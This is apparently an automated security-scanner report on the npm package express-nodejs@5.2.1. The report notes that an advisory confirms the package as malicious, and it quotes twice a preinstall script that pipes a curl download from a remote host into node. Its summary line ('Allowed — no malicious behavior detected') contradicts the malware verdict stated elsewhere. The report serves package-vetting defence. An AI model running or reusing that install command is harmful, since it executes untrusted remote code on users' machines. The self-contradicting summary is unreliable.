---
canonical: "https://firewall.lpm.dev/npm/express-nodejs"
markdown: "https://firewall.lpm.dev/npm/express-nodejs/v/5.2.1.md"
package: "express-nodejs"
report_status: "under_review"
title: "express-nodejs@5.2.1 npm security report"
verdict: "scan_failed"
version: "5.2.1"
---

# express-nodejs@5.2.1 npm security report

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## Verdict summary
**Allowed — no malicious behavior detected** — No malicious behavior detected. 8 low-signal pattern(s) reviewed.

- **Verdict:** Scan Failed
- **Product-default install policy:** Allow
- **Firewall policy:** No policy match
- **Public report status:** Under Review
- **Threat category:** Malware
- **Selected version:** 5.2.1
- **Selected version is latest:** No
- **Analysis source:** OSV Malicious Advisory (OpenSSF/OSV)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

OpenSSF/OSV advisory MAL-2026-17243 confirms this npm version as malicious.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Scan Failed
- **Recorded analysis confidence:** 0.0%
- **Started:** 2026-10-07T19:15:22.646Z
- **Finished:** 2026-10-07T19:15:23.055Z
- **Download time:** 260 ms
- **Static scan time:** 148 ms
- **AI review time:** Not available
- **Total time:** 409 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

No additional public attack-surface or AI-review details are available.

## Affected versions and remediation

This report applies to express-nodejs@5.2.1.

- Review the evidence and your use of express-nodejs@5.2.1 before allowing it. Restrict the permissions described in this report.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/express-nodejs@5.2.1/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.preinstall = curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node
```

### 2. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/express-nodejs@5.2.1/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.preinstall = curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. Medium: Dynamic Require
- **Category:** Source
- **Confidence:** 75.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/express-nodejs@5.2.1/index.js>)

Package source references dynamic require/import behavior.

Public source snippet (untrusted):

```javascript
L10: 
L11: module.exports = require('./lib/express');
```

### 5. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 6. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 7. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 8. High: Semantic Analysis Limited
- **Category:** Scanner Coverage
- **Confidence:** 100.0%
- **Path:** lib/response.js
- **Public source:** [View source](<https://unpkg.com/express-nodejs@5.2.1/lib/response.js>)

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

Public source snippet (untrusted):

```javascript
stage = ast_semantic_analysis; reason = ast_alias_growth_limit_exceeded; limitedFiles = 2
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** preinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** express-nodejs
- **Ecosystem:** npm
- **Version:** 5.2.1
- **Version published:** 2026-09-29T06:12:06.724Z
- **Package first seen:** 2026-10-04T23:50:08.067Z
- **Package last seen:** 2026-10-07T19:15:23.055Z
- **Known versions:** 2
- **Latest version:** 5.2.2
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/express-nodejs/v/5.2.1>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-17243>)